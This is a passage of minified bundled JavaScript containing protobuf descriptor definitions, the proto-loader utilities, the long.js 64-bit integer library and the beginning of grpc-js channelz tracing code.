Pc7=v((REH,wY2)=>{wY2.exports={nested:{google:{nested:{protobuf:{nested:{Type:{fields:{name:{type:"string",id:1},fields:{rule:"repeated",type:"Field",id:2},oneofs:{rule:"repeated",type:"string",id:3},options:{rule:"repeated",type:"Option",id:4},sourceContext:{type:"SourceContext",id:5},syntax:{type:"Syntax",id:6}}},Field:{fields:{kind:{type:"Kind",id:1},cardinality:{type:"Cardinality",id:2},number:{type:"int32",id:3},name:{type:"string",id:4},typeUrl:{type:"string",id:6},oneofIndex:{type:"int32",id:7},packed:{type:"bool",id:8},options:{rule:"repeated",type:"Option",id:9},jsonName:{type:"string",id:10},defaultValue:{type:"string",id:11}},nested:{Kind:{values:{TYPE_UNKNOWN:0,TYPE_DOUBLE:1,TYPE_FLOAT:2,TYPE_INT64:3,TYPE_UINT64:4,TYPE_INT32:5,TYPE_FIXED64:6,TYPE_FIXED32:7,TYPE_BOOL:8,TYPE_STRING:9,TYPE_GROUP:10,TYPE_MESSAGE:11,TYPE_BYTES:12,TYPE_UINT32:13,TYPE_ENUM:14,TYPE_SFIXED32:15,TYPE_SFIXED64:16,TYPE_SINT32:17,TYPE_SINT64:18}},Cardinality:{values:{CARDINALITY_UNKNOWN:0,CARDINALITY_OPTIONAL:1,CARDINALITY_REQUIRED:2,CARDINALITY_REPEATED:3}}}},Enum:{fields:{name:{type:"string",id:1},enumvalue:{rule:"repeated",type:"EnumValue",id:2},options:{rule:"repeated",type:"Option",id:3},sourceContext:{type:"SourceContext",id:4},syntax:{type:"Syntax",id:5}}},EnumValue:{fields:{name:{type:"string",id:1},number:{type:"int32",id:2},options:{rule:"repeated",type:"Option",id:3}}},Option:{fields:{name:{type:"string",id:1},value:{type:"Any",id:2}}},Syntax:{values:{SYNTAX_PROTO2:0,SYNTAX_PROTO3:1}},Any:{fields:{type_url:{type:"string",id:1},value:{type:"bytes",id:2}}},SourceContext:{fields:{fileName:{type:"string",id:1}}}}}}}}}});var Ec7=v((Tc7)=>{Object.defineProperty(Tc7,"__esModule",{value:!0});Tc7.addCommonProtos=Tc7.loadProtosWithOptionsSync=Tc7.loadProtosWithOptions=void 0;var Vc7=CA("fs"),fc7=CA("path"),WjA=zj1();function Nc7(A,K){let q=A.resolvePath;A.resolvePath=(Y,z)=>{if(fc7.isAbsolute(z))return z;for(let w of K){let H=fc7.join(w,z);try{return Vc7.accessSync(H,Vc7.constants.R_OK),H}catch(J){continue}}return process.emitWarning(`${z} not found in any of the include paths ${K}`),q(Y,z)}}async function HY2(A,K){let q=new WjA.Root;if(K=K||{},K.includeDirs){if(!Array.isArray(K.includeDirs))return Promise.reject(Error("The includeDirs option must be an array"));Nc7(q,K.includeDirs)}let Y=await q.load(A,K);return Y.resolveAll(),Y}Tc7.loadProtosWithOptions=HY2;function JY2(A,K){let q=new WjA.Root;if(K=K||{},K.includeDirs){if(!Array.isArray(K.includeDirs))throw Error("The includeDirs option must be an array");Nc7(q,K.includeDirs)}let Y=q.loadSync(A,K);return Y.resolveAll(),Y}Tc7.loadProtosWithOptionsSync=JY2;function OY2(){let A=jc7(),K=gk6(),q=Mc7(),Y=Pc7();WjA.common("api",A.nested.google.nested.protobuf.nested),WjA.common("descriptor",K.nested.google.nested.protobuf.nested),WjA.common("source_context",q.nested.google.nested.protobuf.nested),WjA.common("type",Y.nested.google.nested.protobuf.nested)}Tc7.addCommonProtos=OY2});var kc7=v((_FA,Qk6)=>{(function(A,K){function q(Y){return"default"in Y?Y.default:Y}if(typeof define==="function"&&define.amd)define([],function(){var Y={};return K(Y),q(Y)});else if(typeof _FA==="object"){if(K(_FA),typeof Qk6==="object")Qk6.exports=q(_FA)}else(function(){var Y={};K(Y),A.Long=q(Y)})()})(typeof globalThis<"u"?globalThis:typeof self<"u"?self:_FA,function(A){Object.defineProperty(A,"__esModule",{value:!0}),A.default=void 0;var K=null;try{K=new WebAssembly.Instance(new WebAssembly.Module(new Uint8Array([0,97,115,109,1,0,0,0,1,13,2,96,0,1,127,96,4,127,127,127,127,1,127,3,7,6,0,1,1,1,1,1,6,6,1,127,1,65,0,11,7,50,6,3,109,117,108,0,1,5,100,105,118,95,115,0,2,5,100,105,118,95,117,0,3,5,114,101,109,95,115,0,4,5,114,101,109,95,117,0,5,8,103,101,116,95,104,105,103,104,0,0,10,191,1,6,4,0,35,0,11,36,1,1,126,32,0,173,32,1,173,66,32,134,132,32,2,173,32,3,173,66,32,134,132,126,34,4,66,32,135,167,36,0,32,4,167,11,36,1,1,126,32,0,173,32,1,173,66,32,134,132,32,2,173,32,3,173,66,32,134,132,127,34,4,66,32,135,167,36,0,32,4,167,11,36,1,1,126,32,0,173,32,1,173,66,32,134,132,32,2,173,32,3,173,66,32,134,132,128,34,4,66,32,135,167,36,0,32,4,167,11,36,1,1,126,32,0,173,32,1,173,66,32,134,132,32,2,173,32,3,173,66,32,134,132,129,34,4,66,32,135,167,36,0,32,4,167,11,36,1,1,126,32,0,173,32,1,173,66,32,134,132,32,2,173,32,3,173,66,32,134,132,130,34,4,66,32,135,167,36,0,32,4,167,11])),{}).exports}catch{}function q(Q,u,d){this.low=Q|0,this.high=u|0,this.unsigned=!!d}q.prototype.__isLong__,Object.defineProperty(q.prototype,"__isLong__",{value:!0});function Y(Q){return(Q&&Q.__isLong__)===!0}function z(Q){var u=Math.clz32(Q&-Q);return Q?31-u:u}q.isLong=Y;var w={},H={};function J(Q,u){var d,r,c;if(u){if(Q>>>=0,c=0<=Q&&Q<256){if(r=H[Q],r)return r}if(d=X(Q,0,!0),c)H[Q]=d;return d}else{if(Q|=0,c=-128<=Q&&Q<128){if(r=w[Q],r)return r}if(d=X(Q,Q<0?-1:0,!1),c)w[Q]=d;return d}}q.fromInt=J;function O(Q,u){if(isNaN(Q))return u?N:f;if(u){if(Q<0)return N;if(Q>=j)return y}else{if(Q<=-M)return B;if(Q+1>=M)return x}if(Q<0)return O(-Q,u).neg();return X(Q%D|0,Q/D|0,u)}q.fromNumber=O;function X(Q,u,d){return new q(Q,u,d)}q.fromBits=X;var $=Math.pow;function _(Q,u,d){if(Q.length===0)throw Error("empty string");if(typeof u==="number")d=u,u=!1;else u=!!u;if(Q==="NaN"||Q==="Infinity"||Q==="+Infinity"||Q==="-Infinity")return u?N:f;if(d=d||10,d<2||36<d)throw RangeError("radix");var r;if((r=Q.indexOf("-"))>0)throw Error("interior hyphen");else if(r===0)return _(Q.substring(1),u,d).neg();var c=O($(d,8)),YA=f;for(var e=0;e<Q.length;e+=8){var qA=Math.min(8,Q.length-e),HA=parseInt(Q.substring(e,e+qA),d);if(qA<8){var _A=O($(d,qA));YA=YA.mul(_A).add(O(HA))}else YA=YA.mul(c),YA=YA.add(O(HA))}return YA.unsigned=u,YA}q.fromString=_;function G(Q,u){if(typeof Q==="number")return O(Q,u);if(typeof Q==="string")return _(Q,u);return X(Q.low,Q.high,typeof u==="boolean"?u:Q.unsigned)}q.fromValue=G;var Z=65536,W=16777216,D=Z*Z,j=D*D,M=j/2,P=J(W),f=J(0);q.ZERO=f;var N=J(0,!0);q.UZERO=N;var T=J(1);q.ONE=T;var C=J(1,!0);q.UONE=C;var R=J(-1);q.NEG_ONE=R;var x=X(-1,2147483647,!1);q.MAX_VALUE=x;var y=X(-1,-1,!0);q.MAX_UNSIGNED_VALUE=y;var B=X(0,-2147483648,!1);q.MIN_VALUE=B;var b=q.prototype;if(b.toInt=function(){return this.unsigned?this.low>>>0:this.low},b.toNumber=function(){if(this.unsigned)return(this.high>>>0)*D+(this.low>>>0);return this.high*D+(this.low>>>0)},b.toString=function(u){if(u=u||10,u<2||36<u)throw RangeError("radix");if(this.isZero())return"0";if(this.isNegative())if(this.eq(B)){var d=O(u),r=this.div(d),c=r.mul(d).sub(this);return r.toString(u)+c.toInt().toString(u)}else return"-"+this.neg().toString(u);var YA=O($(u,6),this.unsigned),e=this,qA="";while(!0){var HA=e.div(YA),_A=e.sub(HA.mul(YA)).toInt()>>>0,a=_A.toString(u);if(e=HA,e.isZero())return a+qA;else{while(a.length<6)a="0"+a;qA=""+a+qA}}},b.getHighBits=function(){return this.high},b.getHighBitsUnsigned=function(){return this.high>>>0},b.getLowBits=function(){return this.low},b.getLowBitsUnsigned=function(){return this.low>>>0},b.getNumBitsAbs=function(){if(this.isNegative())return this.eq(B)?64:this.neg().getNumBitsAbs();var u=this.high!=0?this.high:this.low;for(var d=31;d>0;d--)if((u&1<<d)!=0)break;return this.high!=0?d+33:d+1},b.isSafeInteger=function(){var u=this.high>>21;if(!u)return!0;if(this.unsigned)return!1;return u===-1&&!(this.low===0&&this.high===-2097152)},b.isZero=function(){return this.high===0&&this.low===0},b.eqz=b.isZero,b.isNegative=function(){return!this.unsigned&&this.high<0},b.isPositive=function(){return this.unsigned||this.high>=0},b.isOdd=function(){return(this.low&1)===1},b.isEven=function(){return(this.low&1)===0},b.equals=function(u){if(!Y(u))u=G(u);if(this.unsigned!==u.unsigned&&this.high>>>31===1&&u.high>>>31===1)return!1;return this.high===u.high&&this.low===u.low},b.eq=b.equals,b.notEquals=function(u){return!this.eq(u)},b.neq=b.notEquals,b.ne=b.notEquals,b.lessThan=function(u){return this.comp(u)<0},b.lt=b.lessThan,b.lessThanOrEqual=function(u){return this.comp(u)<=0},b.lte=b.lessThanOrEqual,b.le=b.lessThanOrEqual,b.greaterThan=function(u){return this.comp(u)>0},b.gt=b.greaterThan,b.greaterThanOrEqual=function(u){return this.comp(u)>=0},b.gte=b.greaterThanOrEqual,b.ge=b.greaterThanOrEqual,b.compare=function(u){if(!Y(u))u=G(u);if(this.eq(u))return 0;var d=this.isNegative(),r=u.isNegative();if(d&&!r)return-1;if(!d&&r)return 1;if(!this.unsigned)return this.sub(u).isNegative()?-1:1;return u.high>>>0>this.high>>>0||u.high===this.high&&u.low>>>0>this.low>>>0?-1:1},b.comp=b.compare,b.negate=function(){if(!this.unsigned&&this.eq(B))return B;return this.not().add(T)},b.neg=b.negate,b.add=function(u){if(!Y(u))u=G(u);var d=this.high>>>16,r=this.high&65535,c=this.low>>>16,YA=this.low&65535,e=u.high>>>16,qA=u.high&65535,HA=u.low>>>16,_A=u.low&65535,a=0,JA=0,jA=0,MA=0;return MA+=YA+_A,jA+=MA>>>16,MA&=65535,jA+=c+HA,JA+=jA>>>16,jA&=65535,JA+=r+qA,a+=JA>>>16,JA&=65535,a+=d+e,a&=65535,X(jA<<16|MA,a<<16|JA,this.unsigned)},b.subtract=function(u){if(!Y(u))u=G(u);return this.add(u.neg())},b.sub=b.subtract,b.multiply=function(u){if(this.isZero())return this;if(!Y(u))u=G(u);if(K){var d=K.mul(this.low,this.high,u.low,u.high);return X(d,K.get_high(),this.unsigned)}if(u.isZero())return this.unsigned?N:f;if(this.eq(B))return u.isOdd()?B:f;if(u.eq(B))return this.isOdd()?B:f;if(this.isNegative())if(u.isNegative())return this.neg().mul(u.neg());else return this.neg().mul(u).neg();else if(u.isNegative())return this.mul(u.neg()).neg();if(this.lt(P)&&u.lt(P))return O(this.toNumber()*u.toNumber(),this.unsigned);var r=this.high>>>16,c=this.high&65535,YA=this.low>>>16,e=this.low&65535,qA=u.high>>>16,HA=u.high&65535,_A=u.low>>>16,a=u.low&65535,JA=0,jA=0,MA=0,hA=0;return hA+=e*a,MA+=hA>>>16,hA&=65535,MA+=YA*a,jA+=MA>>>16,MA&=65535,MA+=e*_A,jA+=MA>>>16,MA&=65535,jA+=c*a,JA+=jA>>>16,jA&=65535,jA+=YA*_A,JA+=jA>>>16,jA&=65535,jA+=e*HA,JA+=jA>>>16,jA&=65535,JA+=r*a+c*_A+YA*HA+e*qA,JA&=65535,X(MA<<16|hA,JA<<16|jA,this.unsigned)},b.mul=b.multiply,b.divide=function(u){if(!Y(u))u=G(u);if(u.isZero())throw Error("division by zero");if(K){if(!this.unsigned&&this.high===-2147483648&&u.low===-1&&u.high===-1)return this;var d=(this.unsigned?K.div_u:K.div_s)(this.low,this.high,u.low,u.high);return X(d,K.get_high(),this.unsigned)}if(this.isZero())return this.unsigned?N:f;var r,c,YA;if(!this.unsigned){if(this.eq(B))if(u.eq(T)||u.eq(R))return B;else if(u.eq(B))return T;else{var e=this.shr(1);if(r=e.div(u).shl(1),r.eq(f))return u.isNegative()?T:R;else return c=this.sub(u.mul(r)),YA=r.add(c.div(u)),YA}else if(u.eq(B))return this.unsigned?N:f;if(this.isNegative()){if(u.isNegative())return this.neg().div(u.neg());return this.neg().div(u).neg()}else if(u.isNegative())return this.div(u.neg()).neg();YA=f}else{if(!u.unsigned)u=u.toUnsigned();if(u.gt(this))return N;if(u.gt(this.shru(1)))return C;YA=N}c=this;while(c.gte(u)){r=Math.max(1,Math.floor(c.toNumber()/u.toNumber()));var qA=Math.ceil(Math.log(r)/Math.LN2),HA=qA<=48?1:$(2,qA-48),_A=O(r),a=_A.mul(u);while(a.isNegative()||a.gt(c))r-=HA,_A=O(r,this.unsigned),a=_A.mul(u);if(_A.isZero())_A=T;YA=YA.add(_A),c=c.sub(a)}return YA},b.div=b.divide,b.modulo=function(u){if(!Y(u))u=G(u);if(K){var d=(this.unsigned?K.rem_u:K.rem_s)(this.low,this.high,u.low,u.high);return X(d,K.get_high(),this.unsigned)}return this.sub(this.div(u).mul(u))},b.mod=b.modulo,b.rem=b.modulo,b.not=function(){return X(~this.low,~this.high,this.unsigned)},b.countLeadingZeros=function(){return this.high?Math.clz32(this.high):Math.clz32(this.low)+32},b.clz=b.countLeadingZeros,b.countTrailingZeros=function(){return this.low?z(this.low):z(this.high)+32},b.ctz=b.countTrailingZeros,b.and=function(u){if(!Y(u))u=G(u);return X(this.low&u.low,this.high&u.high,this.unsigned)},b.or=function(u){if(!Y(u))u=G(u);return X(this.low|u.low,this.high|u.high,this.unsigned)},b.xor=function(u){if(!Y(u))u=G(u);return X(this.low^u.low,this.high^u.high,this.unsigned)},b.shiftLeft=function(u){if(Y(u))u=u.toInt();if((u&=63)===0)return this;else if(u<32)return X(this.low<<u,this.high<<u|this.low>>>32-u,this.unsigned);else return X(0,this.low<<u-32,this.unsigned)},b.shl=b.shiftLeft,b.shiftRight=function(u){if(Y(u))u=u.toInt();if((u&=63)===0)return this;else if(u<32)return X(this.low>>>u|this.high<<32-u,this.high>>u,this.unsigned);else return X(this.high>>u-32,this.high>=0?0:-1,this.unsigned)},b.shr=b.shiftRight,b.shiftRightUnsigned=function(u){if(Y(u))u=u.toInt();if((u&=63)===0)return this;if(u<32)return X(this.low>>>u|this.high<<32-u,this.high>>>u,this.unsigned);if(u===32)return X(this.high,0,this.unsigned);return X(this.high>>>u-32,0,this.unsigned)},b.shru=b.shiftRightUnsigned,b.shr_u=b.shiftRightUnsigned,b.rotateLeft=function(u){var d;if(Y(u))u=u.toInt();if((u&=63)===0)return this;if(u===32)return X(this.high,this.low,this.unsigned);if(u<32)return d=32-u,X(this.low<<u|this.high>>>d,this.high<<u|this.low>>>d,this.unsigned);return u-=32,d=32-u,X(this.high<<u|this.low>>>d,this.low<<u|this.high>>>d,this.unsigned)},b.rotl=b.rotateLeft,b.rotateRight=function(u){var d;if(Y(u))u=u.toInt();if((u&=63)===0)return this;if(u===32)return X(this.high,this.low,this.unsigned);if(u<32)return d=32-u,X(this.high<<d|this.low>>>u,this.low<<d|this.high>>>u,this.unsigned);return u-=32,d=32-u,X(this.low<<d|this.high>>>u,this.high<<d|this.low>>>u,this.unsigned)},b.rotr=b.rotateRight,b.toSigned=function(){if(!this.unsigned)return this;return X(this.low,this.high,!1)},b.toUnsigned=function(){if(this.unsigned)return this;return X(this.low,this.high,!0)},b.toBytes=function(u){return u?this.toBytesLE():this.toBytesBE()},b.toBytesLE=function(){var u=this.high,d=this.low;return[d&255,d>>>8&255,d>>>16&255,d>>>24,u&255,u>>>8&255,u>>>16&255,u>>>24]},b.toBytesBE=function(){var u=this.high,d=this.low;return[u>>>24,u>>>16&255,u>>>8&255,u&255,d>>>24,d>>>16&255,d>>>8&255,d&255]},q.fromBytes=function(u,d,r){return r?q.fromBytesLE(u,d):q.fromBytesBE(u,d)},q.fromBytesLE=function(u,d){return new q(u[0]|u[1]<<8|u[2]<<16|u[3]<<24,u[4]|u[5]<<8|u[6]<<16|u[7]<<24,d)},q.fromBytesBE=function(u,d){return new q(u[4]<<24|u[5]<<16|u[6]<<8|u[7],u[0]<<24|u[1]<<16|u[2]<<8|u[3],d)},typeof BigInt==="function")q.fromBigInt=function(u,d){var r=Number(BigInt.asIntN(32,u)),c=Number(BigInt.asIntN(32,u>>BigInt(32)));return X(r,c,d)},q.fromValue=function(u,d){if(typeof u==="bigint")return fromBigInt(u,d);return G(u,d)},b.toBigInt=function(){var u=BigInt(this.low>>>0),d=BigInt(this.unsigned?this.high>>>0:this.high);return d<<BigInt(32)|u};var F=A.default=q})});var ik6=v((Sc7)=>{Object.defineProperty(Sc7,"__esModule",{value:!0});Sc7.loadFileDescriptorSetFromObject=Sc7.loadFileDescriptorSetFromBuffer=Sc7.fromJSON=Sc7.loadSync=Sc7.load=Sc7.IdempotencyLevel=Sc7.isAnyExtension=Sc7.Long=void 0;var _Y2=Od7(),uB=zj1(),ck6=Dc7(),lk6=Ec7(),GY2=kc7();Sc7.Long=GY2;function ZY2(A){return"@type"in A&&typeof A["@type"]==="string"}Sc7.isAnyExtension=ZY2;var Lc7;(function(A){A.IDEMPOTENCY_UNKNOWN="IDEMPOTENCY_UNKNOWN",A.NO_SIDE_EFFECTS="NO_SIDE_EFFECTS",A.IDEMPOTENT="IDEMPOTENT"})(Lc7=Sc7.IdempotencyLevel||(Sc7.IdempotencyLevel={}));var Rc7={longs:String,enums:String,bytes:String,defaults:!0,oneofs:!0,json:!0};function WY2(A,K){if(A==="")return K;else return A+"."+K}function DY2(A){return A instanceof uB.Service||A instanceof uB.Type||A instanceof uB.Enum}function jY2(A){return A instanceof uB.Namespace||A instanceof uB.Root}function yc7(A,K){let q=WY2(K,A.name);if(DY2(A))return[[q,A]];else if(jY2(A)&&typeof A.nested<"u")return Object.keys(A.nested).map((Y)=>{return yc7(A.nested[Y],q)}).reduce((Y,z)=>Y.concat(z),[]);return[]}function Uk6(A,K){return function(Y){return A.toObject(A.decode(Y),K)}}function pk6(A){return function(q){if(Array.isArray(q))throw Error(`Failed to serialize message: expected object with ${A.name} structure, got array instead`);let Y=A.fromObject(q);return A.encode(Y).finish()}}function MY2(A){return(A||[]).reduce((K,q)=>{for(let[Y,z]of Object.entries(q))switch(Y){case"uninterpreted_option":K.uninterpreted_option.push(q.uninterpreted_option);break;default:K[Y]=z}return K},{deprecated:!1,idempotency_level:Lc7.IDEMPOTENCY_UNKNOWN,uninterpreted_option:[]})}function PY2(A,K,q,Y){let{resolvedRequestType:z,resolvedResponseType:w}=A;return{path:"/"+K+"/"+A.name,requestStream:!!A.requestStream,responseStream:!!A.responseStream,requestSerialize:pk6(z),requestDeserialize:Uk6(z,q),responseSerialize:pk6(w),responseDeserialize:Uk6(w,q),originalName:_Y2(A.name),requestType:dk6(z,q,Y),responseType:dk6(w,q,Y),options:MY2(A.parsedOptions)}}function VY2(A,K,q,Y){let z={};for(let w of A.methodsArray)z[w.name]=PY2(w,K,q,Y);return z}function dk6(A,K,q){let Y=A.toDescriptor("proto3");return{format:"Protocol Buffer 3 DescriptorProto",type:Y.$type.toObject(Y,Rc7),fileDescriptorProtos:q,serialize:pk6(A),deserialize:Uk6(A,K)}}function fY2(A,K){let q=A.toDescriptor("proto3");return{format:"Protocol Buffer 3 EnumDescriptorProto",type:q.$type.toObject(q,Rc7),fileDescriptorProtos:K}}function NY2(A,K,q,Y){if(A instanceof uB.Service)return VY2(A,K,q,Y);else if(A instanceof uB.Type)return dk6(A,q,Y);else if(A instanceof uB.Enum)return fY2(A,Y);else throw Error("Type mismatch in reflection object handling")}function Jj1(A,K){let q={};A.resolveAll();let z=A.toDescriptor("proto3").file.map((w)=>Buffer.from(ck6.FileDescriptorProto.encode(w).finish()));for(let[w,H]of yc7(A,""))q[w]=NY2(H,w,K,z);return q}function Ic7(A,K){K=K||{};let q=uB.Root.fromDescriptor(A);return q.resolveAll(),Jj1(q,K)}function TY2(A,K){return(0,lk6.loadProtosWithOptions)(A,K).then((q)=>{return Jj1(q,K)})}Sc7.load=TY2;function vY2(A,K){let q=(0,lk6.loadProtosWithOptionsSync)(A,K);return Jj1(q,K)}Sc7.loadSync=vY2;function EY2(A,K){K=K||{};let q=uB.Root.fromJSON(A);return q.resolveAll(),Jj1(q,K)}Sc7.fromJSON=EY2;function kY2(A,K){let q=ck6.FileDescriptorSet.decode(A);return Ic7(q,K)}Sc7.loadFileDescriptorSetFromBuffer=kY2;function CY2(A,K){let q=ck6.FileDescriptorSet.fromObject(A);return Ic7(q,K)}Sc7.loadFileDescriptorSetFromObject=CY2;(0,lk6.addCommonProtos)()});var Gt=v((ic7)=>{var __dirname="/home/runner/code/tmp/claude-cli-external-build-2157/node_modules/@grpc/grpc-js/build/src";Object.defineProperty(ic7,"__esModule",{value:!0});ic7.registerChannelzSocket=ic7.registerChannelzServer=ic7.registerChannelzSubchannel=ic7.registerChannelzChannel=ic7.ChannelzCallTrackerStub=ic7.ChannelzCallTracker=ic7.ChannelzChildrenTrackerStub=ic7.ChannelzChildrenTracker=ic7.ChannelzTrace=ic7.ChannelzTraceStub=void 0;ic7.unregisterChannelzRef=mY2;ic7.getChannelzHandlers=cc7;ic7.getChannelzServiceDefinition=lc7;ic7.setup=rY2;var Xj1=CA("net"),A3A=$p7(),GFA=wP(),ZFA=K9(),bY2=mf(),xY2=uD1(),uY2=mD1();function nk6(A){return{channel_id:A.id,name:A.name}}function rk6(A){return{subchannel_id:A.id,name:A.name}}function BY2(A){return{server_id:A.id}}function $j1(A){return{socket_id:A.id,name:A.name}}var bc7=32,ok6=100;class mc7{constructor(){this.events=[],this.creationTimestamp=new Date,this.eventsLogged=0}addTrace(){}getTraceMessage(){return{creation_timestamp:BB(this.creationTimestamp),num_events_logged:this.eventsLogged,events:[]}}}ic7.ChannelzTraceStub=mc7;class gc7{constructor(){this.events=[],this.eventsLogged=0,this.creationTimestamp=new Date}addTrace(A,K,q){let Y=new Date;if(this.events.push({description:K,severity:A,timestamp:Y,childChannel:(q===null||q===void 0?void 0:q.kind)==="channel"?q:void 0,childSubchannel:(q===null||q===void 0?void 0:q.kind)==="subchannel"?q:void 0}),this.events.length>=bc7*2)this.events=this.events.slice(bc7);this.eventsLogged+=1}getTraceMessage(){return{creation_timestamp:BB(this.creationTimestamp),num_events_logged:this.eventsLogged,events:this.events.map((A)=>{return{description:A.description,severity:A.severity,timestamp:BB(A.timestamp),channel_ref:A.childChannel?nk6(A.childChannel):null,subchannel_ref:A.childSubchannel?rk6(A.childSubchannel):null}})}}}ic7.ChannelzTrace=gc7;class ak6{constructor(){this.channelChildren=new A3A.OrderedMap,this.subchannelChildren=new A3A.OrderedMap,this.socketChildren=new A3A.OrderedMap,this.trackerMap={["channel"]:this.channelChildren,["subchannel"]:this.subchannelChildren,["socket"]:this.socketChildren}}refChild(A){let K=this.trackerMap[A.kind],q=K.find(A.id);if(q.equals(K.end()))K.setElement(A.id,{ref:A,count:1},q);else q.pointer[1].count+=1}unrefChild(A){let K=this.trackerMap[A.kind],q=K.getElementByKey(A.id);if(q!==void 0){if(q.count-=1,q.count===0)K.eraseElementByKey(A.id)}}getChildLists(){return{channels:this.channelChildren,subchannels:this.subchannelChildren,sockets:this.socketChildren}}}ic7.ChannelzChildrenTracker=ak6;class Fc7 extends ak6{refChild(){}unrefChild(){}}ic7.ChannelzChildrenTrackerStub=Fc7;class sk6{constructor(){this.callsStarted=0,this.callsSucceeded=0,this.callsFailed=0,this.lastCallStartedTimestamp=null}addCallStarted(){this.callsStarted+=1,this.lastCallStartedTimestamp=new Date}addCallSucceeded(){this.callsSucceeded+=1}addCallFailed(){this.callsFailed+=1}}ic7.ChannelzCallTracker=sk6;class Qc7 extends sk6{addCallStarted(){}addCallSucceeded(){}addCallFailed(){}}ic7.ChannelzCallTrackerStub=Qc7;var wd={["channel"]:new A3A.OrderedMap,["subchannel"]:new A3A.OrderedMap,["server"]:new A3A.OrderedMap,["socket"]:new A3A.OrderedMap},_j1=(A)=>{let K=1;function q(){return K++}let Y=wd[A];return(z,w,H)=>{let J=q(),O={id:J,name:z,kind:A};if(H)Y.setElement(J,{ref:O,getInfo:w});return O}};ic7.registerChannelzChannel=_j1("channel");ic7.registerChannelzSubchannel=_j1("subchannel");ic7.registerChannelzServer=_j1("server");ic7.registerChannelzSocket=_j1("socket");function mY2(A){wd[A.kind].eraseElementByKey(A.id)}function gY2(A){let K=Number.parseInt(A,16);return[K/256|0,K%256]}function xc7(A){if(A==="")return[];let K=A.split(":").map((Y)=>gY2(Y));return[].concat(...K)}function FY2(A){return(0,Xj1.isIPv6)(A)&&A.toLowerCase().startsWith("::ffff:")&&(0,Xj1.isIPv4)(A.substring(7))}function uc7(A){return Buffer.from(Uint8Array.from(A.split(".").map((K)=>Number.parseInt(K))))}function QY2(A){if((0,Xj1.isIPv4)(A))return uc7(A);else if(FY2(A))return uc7(A.substring(7));else if((0,Xj1.isIPv6)(A)){let K,q,Y=A.indexOf("::");if(Y===-1)K=A,q="";else K=A.substring(0,Y),q=A.substring(Y+2);let z=Buffer.from(xc7(K)),w=Buffer.from(xc7(q)),H=Buffer.alloc(16-z.length-w.length,0);return Buffer.concat([z,H,w])}else return null}function Uc7(A){switch(A){case GFA.ConnectivityState.CONNECTING:return{state:"CONNECTING"};case GFA.ConnectivityState.IDLE:return{state:"IDLE"};case GFA.ConnectivityState.READY:return{state:"READY"};case GFA.ConnectivityState.SHUTDOWN:return{state:"SHUTDOWN"};case GFA.ConnectivityState.TRANSIENT_FAILURE:return{state:"TRANSIENT_FAILURE"};default:return{state:"UNKNOWN"}}}function BB(A){if(!A)return null;let K=A.getTime();return{seconds:K/1000|0,nanos:K%1000*1e6}}function pc7(A){let K=A.getInfo(),q=[],Y=[];return K.children.channels.forEach((z)=>{q.push(nk6(z[1].ref))}),K.children.subchannels.forEach((z)=>{Y.push(rk6(z[1].ref))}),{ref:nk6(A.ref),data:{target:K.target,state:Uc7(K.state),calls_started:K.callTracker.callsStarted,calls_succeeded:K.callTracker.callsSucceeded,calls_failed:K.callTracker.callsFailed,last_call_started_timestamp:BB(K.callTracker.lastCallStartedTimestamp),trace:K.trace.getTraceMessage()},channel_ref:q,subchannel_ref:Y}}function UY2(A,K){let q=parseInt(A.request.channel_id,10),Y=wd.channel.getElementByKey(q);if(Y===void 0){K({code:ZFA.Status.NOT_FOUND,details:"No channel data found for id "+q});return}K(null,{channel:pc7(Y)})}function pY2(A,K){let q=parseInt(A.request.max_results,10)||ok6,Y=[],z=parseInt(A.request.start_channel_id,10),w=wd.channel,H;for(H=w.lowerBound(z);!H.equals(w.end())&&Y.length<q;H=H.next())Y.push(pc7(H.pointer[1]));K(null,{channel:Y,end:H.equals(w.end())})}function dc7(A){let K=A.getInfo(),q=[];return K.listenerChildren.sockets.forEach((Y)=>{q.push($j1(Y[1].ref))}),{ref:BY2(A.ref),data:{calls_started:K.callTracker.callsStarted,calls_succeeded:K.callTracker.callsSucceeded,calls_failed:K.callTracker.callsFailed,last_call_started_timestamp:BB(K.callTracker.lastCallStartedTimestamp),trace:K.trace.getTraceMessage()},listen_socket:q}}function dY2(A,K){let q=parseInt(A.request.server_id,10),z=wd.server.getElementByKey(q);if(z===void 0){K({code:ZFA.Status.NOT_FOUND,details:"No server data found for id "+q});return}K(null,{server:dc7(z)})}function cY2(A,K){let q=parseInt(A.request.max_results,10)||ok6,Y=parseInt(A.request.start_server_id,10),z=wd.server,w=[],H;for(H=z.lowerBound(Y);!H.equals(z.end())&&w.length<q;H=H.next())w.push(dc7(H.pointer[1]));K(null,{server:w,end:H.equals(z.end())})}function lY2(A,K){let q=parseInt(A.request.subchannel_id,10),Y=wd.subchannel.getElementByKey(q);if(Y===void 0){K({code:ZFA.Status.NOT_FOUND,details:"No subchannel data found for id "+q});return}let z=Y.getInfo(),w=[];z.children.sockets.forEach((J)=>{w.push($j1(J[1].ref))});let H={ref:rk6(Y.ref),data:{target:z.target,state:Uc7(z.state),calls_started:z.callTracker.callsStarted,calls_succeeded:z.callTracker.callsSucceeded,calls_failed:z.callTracker.callsFailed,last_call_started_timestamp:BB(z.callTracker.lastCallStartedTimestamp),trace:z.trace.getTraceMessage()},socket_ref:w};K(null,{subchannel:H})}function Bc7(A){var K;if((0,bY2.isTcpSubchannelAddress)(A))return{address:"tcpip_address",tcpip_address:{ip_address:(K=QY2(A.host))!==null&&K!==void 0?K:void 0,port:A.port}};else return{address:"uds_address",uds_address:{filename:A.path}}}function iY2(A,K){var q,Y,z,w,H;let J=parseInt(A.request.socket_id,10),O=wd.socket.getElementByKey(J);if(O===void 0){K({code:ZFA.Status.NOT_FOUND,details:"No socket data found for id "+J});return}let X=O.getInfo(),$=X.security?{model:"tls",tls:{cipher_suite:X.security.cipherSuiteStandardName?"standard_name":"other_name",standard_name:(q=X.security.cipherSuiteStandardName)!==null&&q!==void 0?q:void 0,other_name:(Y=X.security.cipherSuiteOtherName)!==null&&Y!==void 0?Y:void 0,local_certificate:(z=X.security.localCertificate)!==null&&z!==void 0?z:void 0,remote_certificate:(w=X.security.remoteCertificate)!==null&&w!==void 0?w:void 0}}:null,_={ref:$j1(O.ref),local:X.localAddress?Bc7(X.localAddress):null,remote:X.remoteAddress?Bc7(X.remoteAddress):null,remote_name:(H=X.remoteName)!==null&&H!==void 0?H:void 